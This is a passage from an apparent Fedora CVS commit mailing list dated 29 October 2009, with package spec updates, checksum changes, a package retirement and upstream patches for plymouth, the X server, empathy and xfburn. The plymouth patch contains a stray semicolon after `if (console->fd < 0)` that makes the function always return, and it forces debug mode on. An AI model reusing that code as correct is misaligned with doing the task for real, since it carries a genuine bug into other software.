+Source: http://openfabrics.org/downloads/verbs/libibverbs-1.1.3.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Requires(post): /sbin/ldconfig
 Requires(postun): /sbin/ldconfig
@@ -46,7 +46,7 @@ Useful libibverbs1 example programs such
 displays information about RDMA devices.
 
 %prep
-%setup -q -n %{name}-1.1.2
+%setup -q -n %{name}-1.1.3
 
 %build
 %configure
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Thu Oct 29 2009 Roland Dreier <rdreier at cisco.com> - 1.1.3-1
+- New upstream release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libibverbs/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	18 Apr 2008 22:51:04 -0000	1.12
+++ sources	29 Oct 2009 21:55:25 -0000	1.13
@@ -1 +1 @@
-6ad270dacf26211616cbfc9fa733d112  libibverbs-1.1.2.tar.gz
+ba1cec73e7dce72f5c8c09822147d9c3  libibverbs-1.1.3.tar.gz



From pkgdb at fedoraproject.org  Thu Oct 29 21:57:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 21:57:11 +0000
Subject: [pkgdb] fonts-hebrew-fancy ownership updated
Message-ID: <20091029215711.EEE4210F8B8@bastion2.fedora.phx.redhat.com>

Package fonts-hebrew-fancy in Fedora 12 was orphaned by danken

To make changes to this package see:
  /pkgdb/packages/name/fonts-hebrew-fancy



From pkgdb at fedoraproject.org  Thu Oct 29 21:57:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 21:57:11 +0000
Subject: [pkgdb] fonts-hebrew-fancy (un)retirement
Message-ID: <20091029215712.1AB0110F8C8@bastion2.fedora.phx.redhat.com>

Package fonts-hebrew-fancy in Fedora 12 has been retired by danken

To make changes to this package see:
  /pkgdb/packages/name/fonts-hebrew-fancy



From danken at fedoraproject.org  Thu Oct 29 21:58:18 2009
From: danken at fedoraproject.org (Dan Kenigsberg)
Date: Thu, 29 Oct 2009 21:58:18 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-12 dead.package, NONE,
	1.1 fonts-hebrew-fancy.spec, 1.11, NONE sources, 1.3, NONE
Message-ID: <20091029215818.A65DF11C02BC@cvs1.fedora.phx.redhat.com>

Author: danken

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7141

Added Files:
	dead.package 
Removed Files:
	fonts-hebrew-fancy.spec sources 
Log Message:
fonts-hebrew-fancy end of life



--- NEW FILE dead.package ---
due to strict font packaging rules, fonts-hebrew-fancy has to be replaced by

culmus-fancy-anka-fonts
culmus-fancy-comix-no2-fonts
culmus-fancy-dorian-fonts
culmus-fancy-gan-fonts
culmus-fancy-gladia-fonts
culmus-fancy-ktav-yad-fonts
culmus-fancy-ozrad-fonts

as described in https://bugzilla.redhat.com/show_bug.cgi?id=487913#c2
unfortunately, this has not yet been done (oct 2009)


--- fonts-hebrew-fancy.spec DELETED ---


--- sources DELETED ---



From danken at fedoraproject.org  Thu Oct 29 21:58:42 2009
From: danken at fedoraproject.org (Dan Kenigsberg)
Date: Thu, 29 Oct 2009 21:58:42 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/devel dead.package, NONE,
	1.1 fonts-hebrew-fancy.spec, 1.11, NONE sources, 1.3, NONE
Message-ID: <20091029215842.C56B511C02BC@cvs1.fedora.phx.redhat.com>

Author: danken

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7234

Added Files:
	dead.package 
Removed Files:
	fonts-hebrew-fancy.spec sources 
Log Message:
fonts-hebrew-fancy end of life



--- NEW FILE dead.package ---
due to strict font packaging rules, fonts-hebrew-fancy has to be replaced by

culmus-fancy-anka-fonts
culmus-fancy-comix-no2-fonts
culmus-fancy-dorian-fonts
culmus-fancy-gan-fonts
culmus-fancy-gladia-fonts
culmus-fancy-ktav-yad-fonts
culmus-fancy-ozrad-fonts

as described in https://bugzilla.redhat.com/show_bug.cgi?id=487913#c2
unfortunately, this has not yet been done (oct 2009)


--- fonts-hebrew-fancy.spec DELETED ---


--- sources DELETED ---



From rstrode at fedoraproject.org  Thu Oct 29 22:00:24 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu, 29 Oct 2009 22:00:24 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-hvc0-console.patch, NONE, 1.1 plymouth.spec, 
	1.162, 1.163
Message-ID: <20091029220024.EA89F11C02BC@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7777

Modified Files:
	plymouth.spec 
Added Files:
	fix-hvc0-console.patch 
Log Message:
- Fix plymouth over ppc hyperviser console (bug 531581)


fix-hvc0-console.patch:
 b/src/libplybootsplash/ply-console.c |    8 ++++++--
 b/src/main.c                         |    4 ----
 src/main.c                           |   29 ++++++++++++++++++++++-------
 3 files changed, 28 insertions(+), 13 deletions(-)

--- NEW FILE fix-hvc0-console.patch ---
>From ee7588b9d43c18330cd975914a3ec6b996058de5 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 29 Oct 2009 17:11:00 -0400
Subject: [PATCH 1/2] [console] Function in degraded mode when closed

Not all machines will have /dev/tty0.  Those that
don't should still work.
---
 src/libplybootsplash/ply-console.c |    8 ++++++--
 src/main.c                         |    3 ---
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/src/libplybootsplash/ply-console.c b/src/libplybootsplash/ply-console.c
index fb5a86d..10e8ce4 100644
--- a/src/libplybootsplash/ply-console.c
+++ b/src/libplybootsplash/ply-console.c
@@ -190,10 +190,12 @@ static void
 ply_console_watch_for_vt_changes (ply_console_t *console)
 {
   assert (console != NULL);
-  assert (console->fd >= 0);
 
   struct vt_mode mode = { 0 };
 
+  if (console->fd < 0);
+    return;
+
   if (console->is_watching_for_vt_changes)
     return;
 
@@ -349,7 +351,9 @@ ply_console_set_active_vt (ply_console_t *console,
                            int            vt_number)
 {
   assert (console != NULL);
-  assert (vt_number > 0);
+
+  if (vt_number <= 0)
+    return false;
 
   if (vt_number == console->active_vt)
     return true;
diff --git a/src/main.c b/src/main.c
index abfd430..548e1f7 100644
--- a/src/main.c
+++ b/src/main.c
@@ -1293,9 +1293,6 @@ check_for_consoles (state_t    *state,
       !ply_console_open (state->console))
     {
       ply_trace ("could not open /dev/tty0");
-      ply_console_free (state->console);
-      state->console = NULL;
-      return;
     }
 
   remaining_command_line = state->kernel_command_line;
-- 
1.6.5.1


>From 5b53999611604fb575519f87c8369c8cb351aa26 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 29 Oct 2009 17:12:28 -0400
Subject: [PATCH 2/2] [main] Don't add duplicate text display

Before we were adding the same text display once at start up
and once on show splash.
---
 src/main.c |   28 ++++++++++++++++++++++------
 1 files changed, 22 insertions(+), 6 deletions(-)

diff --git a/src/main.c b/src/main.c
index 548e1f7..daef780 100644
--- a/src/main.c
+++ b/src/main.c
@@ -133,7 +133,8 @@ static void on_error_message (ply_buffer_t *debug_buffer,
 static ply_buffer_t *debug_buffer;
 static char *debug_buffer_path = NULL;
 static void check_for_consoles (state_t    *state,
-                                const char *default_tty);
+                                const char *default_tty,
+                                bool        should_add_displays);
 
 static void
 on_session_output (state_t    *state,
@@ -568,7 +569,7 @@ on_show_splash (state_t *state)
       return;
     }
 
-  check_for_consoles (state, state->default_tty);
+  check_for_consoles (state, state->default_tty, true);
 
   has_display = ply_list_get_length (state->pixel_displays) > 0 ||
                 ply_list_get_length (state->text_displays) > 0;
@@ -1279,7 +1280,8 @@ check_logging (state_t *state)
 
 static void
 check_for_consoles (state_t    *state,
-                    const char *default_tty)
+                    const char *default_tty,
+                    bool        should_add_displays)
 {
   char *console_key;
   char *remaining_command_line;
@@ -1320,10 +1322,11 @@ check_for_consoles (state_t    *state,
           state->kernel_console_tty = strdup (default_tty);
         }
 
-      add_display_and_keyboard_for_terminal (state, state->kernel_console_tty);
+      if (should_add_displays)
+        add_display_and_keyboard_for_terminal (state, state->kernel_console_tty);
     }
 
-    if (ply_list_get_length (state->text_displays) == 0)
+    if (should_add_displays && ply_list_get_length (state->text_displays) == 0)
       add_default_displays_and_keyboard (state);
 }
 
@@ -1379,7 +1382,7 @@ initialize_environment (state_t *state)
   else
     state->default_tty = "tty1";
 
-  check_for_consoles (state, state->default_tty);
+  check_for_consoles (state, state->default_tty, false);
 
   if (state->kernel_console_tty != NULL)
     redirect_standard_io_to_device (state->kernel_console_tty);
@@ -1417,15 +1420,27 @@ dump_debug_buffer_to_file (void)
   close (fd);
 }
 
+ #include <termios.h>
+ #include <unistd.h>
 static void
 on_crash (int signum)
 {
+    struct termios term_attributes;
     int fd;
 
     fd = open ("/dev/tty1", O_RDWR | O_NOCTTY);
+    if (fd < 0) fd = open ("/dev/hvc0", O_RDWR | O_NOCTTY);
 
     ioctl (fd, KDSETMODE, KD_TEXT);
 
+    tcgetattr (fd, &term_attributes);
+
+    term_attributes.c_iflag |= IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON;
+    term_attributes.c_oflag |= OPOST;
+    term_attributes.c_lflag |= ECHO | ECHONL | ICANON | ISIG | IEXTEN;
+
+    tcsetattr (fd, TCSAFLUSH, &term_attributes);
+
     close (fd);
 
     if (debug_buffer != NULL)
@@ -1500,6 +1515,7 @@ main (int    argc,
       return 0;
     }
 
+  debug = 1;
   if (debug && !ply_is_tracing ())
     ply_toggle_tracing ();
 
-- 
1.6.5.1



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.162
retrieving revision 1.163
diff -u -p -r1.162 -r1.163
--- plymouth.spec	29 Oct 2009 14:10:59 -0000	1.162
+++ plymouth.spec	29 Oct 2009 22:00:23 -0000	1.163
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.14%{?dist}
+Release: 0.2009.29.09.15%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -40,6 +40,7 @@ Patch6: fix-details-clear-screen.patch
 Patch7: fix-text-shutdown-crash.patch
 Patch8: fix-text-ask-for-password.patch
 Patch9: dont-unlink-devnull.patch
+Patch10: fix-hvc0-console.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -256,6 +257,7 @@ plugin.
 %patch7 -p1 -b .fix-text-shutdown-crash
 %patch8 -p1 -b .fix-text-ask-for-password
 %patch9 -p1 -b .dont-unlink-devnull
+%patch10 -p1 -b .fix-hvc0-console
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -473,6 +475,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.15
+- Fix plymouth over ppc hyperviser console (bug 531581)
+
 * Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.14
 - Don't unlink /dev/null (bug 531740)
 



From rmeggins at fedoraproject.org  Thu Oct 29 22:51:24 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 22:51:24 +0000 (UTC)
Subject: rpms/389-ds-base/F-11 sources,1.6,1.7
Message-ID: <20091029225124.66DF711C0260@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19149/F-11

Modified Files:
	sources 
Log Message:
added fix to remove the initscript instance specific config file upon remove-ds.pl


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Oct 2009 18:00:00 -0000	1.6
+++ sources	29 Oct 2009 22:51:23 -0000	1.7
@@ -1,2 +1 @@
-1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
-291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2
+fbb224f4926ca98fc54794700bb89497  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 22:51:24 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 22:51:24 +0000 (UTC)
Subject: rpms/389-ds-base/F-12 sources,1.6,1.7
Message-ID: <20091029225124.6BADF11C0345@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19149/F-12

Modified Files:
	sources 
Log Message:
added fix to remove the initscript instance specific config file upon remove-ds.pl


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Oct 2009 18:00:00 -0000	1.6
+++ sources	29 Oct 2009 22:51:24 -0000	1.7
@@ -1,2 +1 @@
-1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
-291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2
+fbb224f4926ca98fc54794700bb89497  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 22:51:24 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 22:51:24 +0000 (UTC)
Subject: rpms/389-ds-base/devel sources,1.6,1.7
Message-ID: <20091029225124.7368411C0349@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19149/devel

Modified Files:
	sources 
Log Message:
added fix to remove the initscript instance specific config file upon remove-ds.pl


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Oct 2009 18:00:01 -0000	1.6
+++ sources	29 Oct 2009 22:51:24 -0000	1.7
@@ -1,2 +1 @@
-1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
-291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2
+fbb224f4926ca98fc54794700bb89497  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 22:51:24 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 22:51:24 +0000 (UTC)
Subject: rpms/389-ds-base/F-10 sources,1.6,1.7
Message-ID: <20091029225124.62C4A11C00E8@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19149/F-10

Modified Files:
	sources 
Log Message:
added fix to remove the initscript instance specific config file upon remove-ds.pl


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-10/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Oct 2009 17:59:59 -0000	1.6
+++ sources	29 Oct 2009 22:51:23 -0000	1.7
@@ -1,2 +1 @@
-1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
-291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2
+fbb224f4926ca98fc54794700bb89497  389-ds-base-1.2.4.tar.bz2



From ajax at fedoraproject.org  Thu Oct 29 23:09:48 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Thu, 29 Oct 2009 23:09:48 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xserver-1.7.1-multilib.patch, NONE,
	1.1 xorg-x11-server.spec, 1.497, 1.498
Message-ID: <20091029230948.B524B11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22783

Modified Files:
	xorg-x11-server.spec 
Added Files:
	xserver-1.7.1-multilib.patch 
Log Message:
* Thu Oct 29 2009 Adam Jackson <ajax at redhat.com> 1.7.1-2
- xserver-1.7.1-multilib.patch: Fix silly multilib issue. (#470885)


xserver-1.7.1-multilib.patch:
 colormapst.h     |    6 ++++--
 xorg-server.h.in |    4 ----
 2 files changed, 4 insertions(+), 6 deletions(-)

--- NEW FILE xserver-1.7.1-multilib.patch ---
>From 566ed8932ab153e8918b4496a0ac1765beb4e7e9 Mon Sep 17 00:00:00 2001
From: Adam Jackson <ajax at redhat.com>
Date: Thu, 29 Oct 2009 19:04:10 -0400
Subject: [PATCH] multilib fix for -devel subpackage

---
 include/colormapst.h     |    6 ++++--
 include/xorg-server.h.in |    3 ---
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/include/colormapst.h b/include/colormapst.h
index f1fc8eb..c4a1710 100644
--- a/include/colormapst.h
+++ b/include/colormapst.h
@@ -99,16 +99,18 @@ typedef struct _CMEntry
  * The padN variables are unfortunate ABI BC. See fdo bug #6924.
  */
 
+#define LP64 (__SIZEOF_LONG__ == 8)
+
 typedef struct _ColormapRec
 {
     VisualPtr	pVisual;
     short	class;		/* PseudoColor or DirectColor */
-#if defined(_XSERVER64)
+#if LP64
     short	pad0;
     XID		pad1;
 #endif
     XID		mid;		/* client's name for colormap */
-#if defined(_XSERVER64) && (X_BYTE_ORDER == X_LITTLE_ENDIAN)
+#if LP64 && (X_BYTE_ORDER == X_LITTLE_ENDIAN)
     XID		pad2;
 #endif
     ScreenPtr	pScreen;	/* screen map is associated with */
diff --git a/include/xorg-server.h.in b/include/xorg-server.h.in
index 76cab16..3e79529 100644
--- a/include/xorg-server.h.in
+++ b/include/xorg-server.h.in
@@ -157,9 +157,6 @@
 /* Name of X server */
 #undef __XSERVERNAME__
 
-/* Define to 1 if unsigned long is 64 bits. */
-#undef _XSERVER64
-
 /* Building vgahw module */
 #undef WITH_VGAHW
 
-- 
1.6.4.4



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.497
retrieving revision 1.498
diff -u -p -r1.497 -r1.498
--- xorg-x11-server.spec	26 Oct 2009 15:46:03 -0000	1.497
+++ xorg-x11-server.spec	29 Oct 2009 23:09:47 -0000	1.498
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.7.1
-Release:   1%{dist}
+Release:   2%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -76,6 +76,7 @@ Patch6045: xserver-1.7.0-randr-gamma-res
 
 Patch6047: xserver-1.7.0-glx-versioning.patch
 Patch6048: xserver-1.7.0-exa-fix-mixed.patch
+Patch6049: xserver-1.7.1-multilib.patch
 
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
@@ -504,6 +505,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Thu Oct 29 2009 Adam Jackson <ajax at redhat.com> 1.7.1-2
+- xserver-1.7.1-multilib.patch: Fix silly multilib issue. (#470885)
+
 * Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.7.1-1
 - xserver 1.7.1
 



From mclasen at fedoraproject.org  Thu Oct 29 23:11:51 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 29 Oct 2009 23:11:51 +0000 (UTC)
Subject: rpms/empathy/F-12 escape-notifications.patch, NONE, 1.1 empathy.spec,
	1.86, 1.87
Message-ID: <20091029231151.80BE311C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23218

Modified Files:
	empathy.spec 
Added Files:
	escape-notifications.patch 
Log Message:
Add an upstream fix


escape-notifications.patch:
 empathy-status-icon.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE escape-notifications.patch ---
diff --git a/src/empathy-status-icon.c b/src/empathy-status-icon.c
index 3af060a..f1fe6bc 100644
--- a/src/empathy-status-icon.c
+++ b/src/empathy-status-icon.c
@@ -155,17 +155,19 @@ status_icon_update_notification (EmpathyStatusIcon *icon)
 
 	if (priv->event) {
 		gchar *message_esc = NULL;
+		gchar *header_esc = NULL;
 
 		if (priv->event->message != NULL)
 			message_esc = g_markup_escape_text (priv->event->message, -1);
+			header_esc = g_markup_escape_text (priv->event->header, -1);
 
 		if (priv->notification) {
 			notify_notification_update (priv->notification,
-						    priv->event->header, message_esc,
+						    header_esc, message_esc,
 						    NULL);
 		} else {
 			priv->notification = notify_notification_new_with_status_icon
-				(priv->event->header, message_esc, NULL, priv->icon);
+				(header_esc, message_esc, NULL, priv->icon);
 			notify_notification_set_timeout (priv->notification,
 							 NOTIFY_EXPIRES_DEFAULT);
 
@@ -194,6 +196,7 @@ status_icon_update_notification (EmpathyStatusIcon *icon)
 		notify_notification_show (priv->notification, NULL);
 
 		g_free (message_esc);
+		g_free (header_esc);
 	} else {
 		notification_close_helper (priv);
 	}



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- empathy.spec	26 Oct 2009 21:54:39 -0000	1.86
+++ empathy.spec	29 Oct 2009 23:11:50 -0000	1.87
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.1.1
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,6 +33,8 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
+# upstream fix
+Patch6:         escape-notifications.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -137,6 +139,7 @@ bindings to the libempathy and libempath
 %patch1 -p1 -b .pkgconfig
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
+%patch6 -p1 -b .escape-notifications
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -237,6 +240,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Thu Oct 29 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1.1-3
+- Escape notifications
+
 * Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
 - Disable panel applets, since they are unmaintained and being dropped from Empathy.
 



From mclasen at fedoraproject.org  Thu Oct 29 23:21:38 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 29 Oct 2009 23:21:38 +0000 (UTC)
Subject: rpms/empathy/F-12 refcount-fix.patch, NONE, 1.1 empathy.spec, 1.87,
	1.88
Message-ID: <20091029232138.8B52C11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26063

Modified Files:
	empathy.spec 
Added Files:
	refcount-fix.patch 
Log Message:
fix patch name


refcount-fix.patch:
 empathy-accounts-dialog.c |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE refcount-fix.patch ---
diff --git a/src/empathy-accounts-dialog.c b/src/empathy-accounts-dialog.c
index a22704f..339b6c5 100644
--- a/src/empathy-accounts-dialog.c
+++ b/src/empathy-accounts-dialog.c
@@ -1774,6 +1772,9 @@ do_constructor (GType type,
 
       dialog_singleton = EMPATHY_ACCOUNTS_DIALOG (retval);
       g_object_add_weak_pointer (retval, (gpointer) &dialog_singleton);
+      /* We add an extra reference that we'll release when the dialog is
+       * destroyed (accounts_dialog_destroy_cb) */
+      g_object_ref (retval);
     }
 
   return retval;
@@ -1912,6 +1913,9 @@ empathy_accounts_dialog_show (GtkWindow *parent,
     }
 
   gtk_window_present (GTK_WINDOW (priv->window));
+  /* EmpathyAccountsDialog kepts a ref on itself until the dialog is
+   * destroyed so we can release the ref returned by the constructor now. */
+  g_object_unref (dialog);
 
   return priv->window;
 }



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- empathy.spec	29 Oct 2009 23:11:50 -0000	1.87
+++ empathy.spec	29 Oct 2009 23:21:38 -0000	1.88
@@ -33,8 +33,10 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
-# upstream fix
+# upstream fix: https://bugzilla.gnome.org/show_bug.cgi?id=599431
 Patch6:         escape-notifications.patch
+# upstream fix: https://bugzilla.gnome.org/show_bug.cgi?id=600023
+Patch7:         refcount-fix.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -140,6 +142,7 @@ bindings to the libempathy and libempath
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
 %patch6 -p1 -b .escape-notifications
+%patch7 -p1 -b .refcounting-fix
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -242,6 +245,7 @@ fi
 %changelog
 * Thu Oct 29 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1.1-3
 - Escape notifications
+- Fix a crash due to refcounting issues
 
 * Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-2
 - Disable panel applets, since they are unmaintained and being dropped from Empathy.



From cwickert at fedoraproject.org  Thu Oct 29 23:25:51 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 23:25:51 +0000 (UTC)
Subject: rpms/xfburn/devel xfburn-0.4.2-fix-crash-on-iso-burning.patch, NONE,
	1.1
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch,
	NONE, 1.1 xfburn.spec, 1.6, 1.7
Message-ID: <20091029232551.4239A11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfburn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27056

Modified Files:
	xfburn.spec 
Added Files:
	xfburn-0.4.2-fix-crash-on-iso-burning.patch 
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch 
Log Message:
* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix infinite loop in blank disk dialog (#525515)
- Don't crash on burning ISO image (#525518)


xfburn-0.4.2-fix-crash-on-iso-burning.patch:
 xfburn-burn-image-dialog.c |   29 +++++++++++++++++++++++------
 1 file changed, 23 insertions(+), 6 deletions(-)

--- NEW FILE xfburn-0.4.2-fix-crash-on-iso-burning.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c
--- xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c	2009-10-29 23:27:12.000000000 +0100
@@ -66,12 +66,16 @@
 
   GtkWidget *burn_button;
 
+  XfburnDeviceList *devlist;
+  gulong handler_volchange;
+
   ThreadBurnIsoParams *params;
 } XfburnBurnImageDialogPrivate;
 
 /* prototypes */
 static void xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass);
 static void xfburn_burn_image_dialog_init (XfburnBurnImageDialog * sp);
+static void xfburn_burn_image_dialog_finalize (GObject *object);
 
 void burn_image_dialog_error (XfburnBurnImageDialog * dialog, const gchar * msg_error);
 static void cb_volume_change_end (XfburnDeviceList *devlist, gboolean device_changed, XfburnDevice *device, XfburnBurnImageDialog * dialog);
@@ -115,8 +119,13 @@
 static void
 xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass)
 {
+  GObjectClass *object_class = G_OBJECT_CLASS (klass);
+
   g_type_class_add_private (klass, sizeof (XfburnBurnImageDialogPrivate));
+
   parent_class = g_type_class_peek_parent (klass);
+
+  object_class->finalize     = xfburn_burn_image_dialog_finalize;
 }
 
 static void
@@ -130,7 +139,6 @@
   GtkWidget *frame;
   GtkWidget *vbox;
   GtkWidget *button;
-  XfburnDeviceList *devlist;
   XfburnDevice *device;
 
   gtk_window_set_title (GTK_WINDOW (obj), _("Burn image"));
@@ -208,19 +216,28 @@
   gtk_widget_grab_focus (priv->burn_button);
   gtk_widget_grab_default (priv->burn_button);
 
-  devlist = xfburn_device_list_new ();
+  priv->devlist = xfburn_device_list_new ();
 
-  g_signal_connect (G_OBJECT (devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
